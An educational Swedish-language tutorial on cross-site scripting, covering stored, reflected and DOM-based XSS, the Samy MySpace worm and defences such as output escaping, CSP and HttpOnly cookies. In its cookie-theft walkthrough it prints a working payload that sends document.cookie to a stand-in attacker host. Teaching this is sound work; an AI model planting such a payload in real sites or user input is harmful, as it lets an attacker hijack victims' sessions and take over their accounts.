XSS är en av OWASP:s topp-10-buggar år efter år. Det är inte en attack mot servern — det är en attack mot dig, via sajten. Mekanismen är enkel när du ser den: en sajt tar emot din input och visar den åt andra användare, men glömmer att rensa bort kod från den.
01Vad XSS egentligen är
Tänk dig en sajt med en kommentarsfunktion. Du skriver en kommentar: "Bra inlägg!" — och alla som besöker sidan ser den under inlägget.
Men vad händer om du skriver in det här istället?
Om sajten visar din kommentar exakt som du skrev den så hamnar din JavaScript inne i HTML-koden. När en annan användare laddar sidan tolkar browsern det som vanlig JavaScript och kör det. En liten popup dyker upp som säger "XSS!".
Det är en ofarlig demo. Den riktiga attacken byter ut alert() mot kod som stjäl andras inloggningar.
02Hur det faktiskt utnyttjas
Cookie-stöld via kommentarsfält
- Ett forum låter användare skriva kommentarer. När en kommentar visas är den oformaterad — sajten skriver bara ut texten rakt in i HTML.
- Angriparen registrerar sig och skriver en kommentar med följande innehåll:
<script>fetch('https://angripare.se/?c=' + document.cookie)</script> - Sajten sparar kommentaren och visar den på inläggssidan, precis som den ser ut.
- När en inloggad användare läser inlägget körs koden i deras browser.
document.cookieinnehåller sessionscookien (den som bevisar att de är inloggade). - Cookien skickas till angriparens server. Hen kopierar in den i sin egen browser och är nu inloggad som offret.
- För administratörer som råkar läsa kommentaren betyder det att angriparen får admin-rättigheter på forumet.
Det här är inte ett tankeexperiment — det är hur stora säkerhetshändelser går till. MySpace 2005 (Samy-masken som infekterade en miljon profiler på 20 timmar), British Airways 2018, eBay flera gånger — alla XSS.
03De tre typerna av XSS
Stored XSS — koden sparas i sajtens databas och visas för alla framtida besökare. Värst varianten. Exemplet ovan är stored.
Reflected XSS — koden är i URL:en. Angriparen lurar dig att klicka på en länk:
Om sajtens söksida visar "Du sökte på: <din input>" utan att rensa, körs koden för den som klickar. Vanligt phishing-trick.
DOM-based XSS — koden körs aldrig på servern. JavaScript på sajten läser från URL eller localStorage och placerar texten i sidan utan rensning. Försvinner ofta inte ens i serverloggar.
04Vad angriparen faktiskt kan göra
När JavaScript körs i offrets browser har det samma rättigheter som sajtens egen kod:
- Stjäla cookies — kapa inloggningen
- Logga tangenttryckningar — fånga lösenord när användaren skriver in dem
- Skicka requests i användarens namn — köpa saker, posta inlägg, ändra inställningar, allt som användaren själv kan göra
- Ändra sidans innehåll — fejka en login-prompt som verkar komma från sajten
- Kryptominer — köra Bitcoin-mining i offrets browser så länge fliken är öppen
- Sprida sig — om sajten har en "skicka meddelande"-funktion kan koden skicka XSS-länken till alla användarens kontakter
05Den klassiska Samy-masken
Oktober 2005. En 19-åring vid namn Samy Kamkar postade ett kort skript som "favorit-musik" på MySpace. Skriptet:
- Lade till "samy" som en vän på alla som besökte hans profil
- Kopierade sig själv till offrets profil
- Vilket gjorde att alla som besökte deras profil också blev infekterade
På 20 timmar hade Samy en miljon vänner. MySpace stängde sajten. Samy åtalades och dömdes till samhällstjänst, böter och 3 års förbud att röra datorer.
Hela attacken var möjlig för att MySpace inte filtrerade bort JavaScript ur "favorit-musik"-fältet. Ett enkelt fall av stored XSS.
06Försvar — för dig som utvecklare
- Escapa all output. När du visar användarinput, gör om
<till<och>till>. Då blir<script>bara text, inte exekverbar kod. Alla moderna ramverk (React, Vue, Svelte, Django, Rails) gör det automatiskt. - Använd Content Security Policy (CSP). En HTTP-header där du listar var JavaScript får komma från.
script-src 'self'= bara från din egen domän, inte från inline-script. Stoppar de flesta XSS även om du missat någon escape. - HttpOnly cookies. Sätt
HttpOnlypå sessions-cookien. Då kan JavaScript inte läsa den — angriparen får tag i den ändå, men inte enkelt. - SameSite cookies. Sätt
SameSite=StrictellerSameSite=Lax. Då skickas cookien inte från andra domäner, vilket bryter flera attack-kedjor. - Använd
innerTextistället förinnerHTMLi JavaScript när du sätter användarinput.innerTexttolkar aldrig HTML. - Validera input på serversidan. Klient-validering är bra för UX men kringgås trivialt — angriparen skickar bara request direkt utan din formulär.
07Försvar — för dig som användare
- Du kan inte göra mycket åt XSS på sajter du besöker — det är sajtens jobb att skydda dig
- Klicka inte på misstänkta länkar — speciellt sådana med konstiga parametrar (
?q=<script...) - Logga ut från känsliga sajter när du är klar — om sessions-cookien inte finns, finns inget att stjäla
- Använd 2FA — även med kapad cookie kan en angripare behöva 2FA för känsliga operationer
- Browser-uppdateringar innehåller ofta förbättrat XSS-skydd. Håll Chrome/Firefox uppdaterade.
08Vad du lärt dig
- XSS = angriparen kör JavaScript i offrets browser, via en sajt offret litar på
- Tre typer: stored (i databasen), reflected (i URL), DOM-based (i klient-JS)
- Konkret skada: cookie-stöld, kapad session, fejk-prompts, kontoövertag
- Försvar (utvecklare): escapa output, CSP, HttpOnly cookies, SameSite
- Försvar (användare): vakta länkar, 2FA, browser-uppdateringar
09Vill du testa själv?
Bästa lagliga övningen för XSS är OWASP Juice Shop — en avsiktligt sårbar webbapp full av XSS-utmaningar:
# kör i Docker $ docker run --rm -p 3000:3000 bkimminich/juice-shop # öppna i browser $ open http://localhost:3000
Eller online: portswigger.net/web-security — gratis labb-utmaningar för XSS och allt annat inom webbsäkerhet, från PortSwigger (folket bakom Burp Suite).